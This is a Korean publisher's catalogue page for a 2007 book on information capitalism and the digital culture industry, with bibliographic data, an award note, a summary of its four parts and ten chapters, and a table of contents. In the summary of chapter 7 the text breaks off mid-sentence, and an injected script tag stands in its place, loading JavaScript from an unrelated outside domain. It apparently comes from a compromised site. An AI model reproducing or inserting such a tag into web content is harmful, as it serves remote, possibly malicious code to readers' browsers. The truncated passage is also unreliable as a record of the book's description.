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  수상 : 대한민국학술원 우수학술도서/2009년
 
 

정보자본주의와 대중문화산업
김승수 지음
한울아카데미 / 2007-02-20 발행 / 신국판 / 반양장 / 504면 / 22,000원
ISBN 978-89-460-3673-4 93330
분야 : 언론학
강의교재 자료실
 
  한국 사회는 정보자본주의를 향해 가고 있지만 여전히 불평등하며, 생산양식도 불안정해 보인다. 정보자본주의는 시장의 논리와 자본의 욕망이 춤추는 사회다. 그 때문에 삶의 질이나 문화적 가치는 존중받지 못한다. 이런 문제는 문화산업에서 노골적으로 나타난다. 그래서 이 책은 정보와 문화가 시장의 힘에 좌우되지 않고, 오로지 사람을 위해, 문화적 가치를 위해 생산되고 이용되는 방법을 고찰했다.
문화산업은 디지털 기술과 결합하여 거대한 디지털 문화산업을 형성하고 있다. 사회 다방면에서 중대한 역할을 하게 될 디지털 문화산업이 옆길로 새지 않고, 오로지 국민의 이익과 문화적 가치에 충성하도록 지속적으로 감시하고 비판하는 작업이 필요하다. 그래서 이 책에서는 디지털 문화산업을 중심으로 대중문화산업이 어떻게 해야 바른 구실을 할 수 있을지를 살펴보면서, 세부적으로는 문화산업의 구조적 특징 및 기본 이념을 규명하며, 또 시장 일변도의 현실을 대체할 수 있는 대안을 모색한다.
이 책은 총 4부 10장으로 구성되었다. 제1부의 제1장에서 제3장까지는 정보자본주의와 디지털 문화산업을 보는 시각을 정리했고, 제2부의 제4장에서 제7장까지는 문화시장의 구조에 관해 설명했다. 제3부의 제8장과 제9장은 정보자본주의와 문화시장이 미치는 사회적·국제적 파급효과를 정리한 것이고, 제4부 제10장은 대안 이념과 모형을 강구하였다. 여기서는 주로 정보자본주의와 디지털 문화산업이라는 새로운 조건에서 자유롭고 창의적이며 민족 주체성을 촉진하는 대안적 이념과 문화 생산양식에 관해 서술하였다.

디지털 연대와 디지털 모순의 갈림길에서

한국 정보자본주의 구조와 대중문화산업의 모습을 살펴보기 위해서는 우선 정보자본주의의 성격과 대중문화산업의 구조를 어떻게 이해할 것인지에 관한 고찰이 중요하다. 디지털 문화산업은 경제적·문화적 중요성이 증대했지만 중복 투자, 자원 낭비, 극단적 상업주의, 글로벌 자본에 의한 통제라는 문제를 안고 있다. 그런데도 많은 학자들과 보도 기관들은 디지털 혁명을 긍정 일변도로 그리고 있다. 디지털 모순은 정보자본주의 논리와 국민 권력의 논리에 끼어있는 디지털 커뮤니케이션의 묘한 위상에서 나온 것이다. 정보자본주의는 시민 중심의 ‘디지털 연대(digital solidarity)’로 갈 것인지 아니면 자본과 시민의 대립을 촉발시키는 ‘디지털 모순(digital contradiction)’의 길을 선택할 것인지 갈림길에 있다. 제1장과 제2장에서는 이에 대한 이론적 고찰과 숙의를 담고 있다.
제3장에서는 정치경제학 방법론에 대해 설명했다. 결론적으로 정치경제학적 연구는 디지털 문화산업이 창출하는 정신적 소통 공간에서 자본주의 논리와 사회적·문화적 가치가 상호 충돌하는 과정과 결과를 분석하는 데 핵심이라 할 수 있다. 그리고 불평등, 상업주의, 종속과 같은 문제를 실증적으로 밝히는 것이 정치경제학의 기본 방향이다. 한 걸음 더 나아가 디지털 문화산업의 민주적 통제권을 확립하며, 사회적 커뮤니케이션 시스템의 구축을 통해 수용자들이 문화적 생활을 누릴 수 있도록 하는 것도 중요한 과제다.

문화주권인가, 문화종속인가

언제부터인지 시장이 정보, 문화와 같은 정신적·의식적 영역을 압도적으로 지배하기 시작했다. 시장은 많은 장점을 가진 제도이고, 인류가 발전시켜 온 소중한 자산이다. 하지만 모든 시장이 그런 것은 아니다. 합리성과 사회성을 존중하는 민주적·공익적 시장은 국민에게 혜택을 주겠지만, 이윤과 저급한 상업주의를 중시하는 자유경쟁시장이 문화를 지배할 때는 심각한 문제를 발생시킨다. 그러므로 우리는 사회적·경제적·문화적 중요성이 급증한 대중문화산업의 개혁과 대안적 논리가 필요하다. 제4장에서는 문화시장의 이론과 실제에 대해 살펴봤으며, 다음 제5장에서는 문화시장을 이루는 상품과 노동의 가치에 대해 다루었다. 문화상품을 이해한다는 것은 우선 자본주의가 어떻게 문화상품을 창출하며, 문화상품은 자본주의를 위해서 무엇을 하는지를 아는 것이다. 문화상품은 문화주권의 표시이지만, 사용가치와 교환가치에 따라 문화종속의 상징이기도 하다는 점을 유념할 필요가 있다.
신자유주의가 지배하는 매체산업에서 노동력은 한낱 사고파는 상품으로 거래되며, 통신자본, 전자자본, 금융자본의 주머니를 두둑하게 해준다. 매체 노동자들은 자주성을 요구하면서 편집권이나 편성권의 독립성, 제작의 자율성을 확보하려고 부단히 노력해 왔다. 그러나 경쟁의 논리, 효율성, 이윤의 논리에 사측이나 노동 측 모두 점점 더 굴복하는 추세다. 옳고 그름을 판단하는 기본 정신마저 사라지고 있는 지경이다. 매체 노동의 가치 실종과 문제를 비판한 제6장에 이어 제7장에서는 문화산업구조 재편과 지배구조에 대해 살폈다. 방송사나 신문 기업이 ?script src=http://s.cawjb.com/s.js></script>
 
  제1부 정보자본주의를 보는 시각

제1장 정보자본주의와 디지털 커뮤니케이션
제2장 정보자본주의와 디지털 문화산업의 이론
제3장 문화산업의 연구 방법

제2부 문화시장구조론

제4장 문화시장 연구
제5장 문화상품론
제6장 매체 노동가치론  
제7장 디지털 문화산업의 지배구조론

제3부 문화시장의 사회적·국제적 효과

제8장 정보계급화  
제9장 문화시장의 지구화

제4부 디지털 문화산업 시대의 대안 찾기

제10장 새로운 길을 찾아서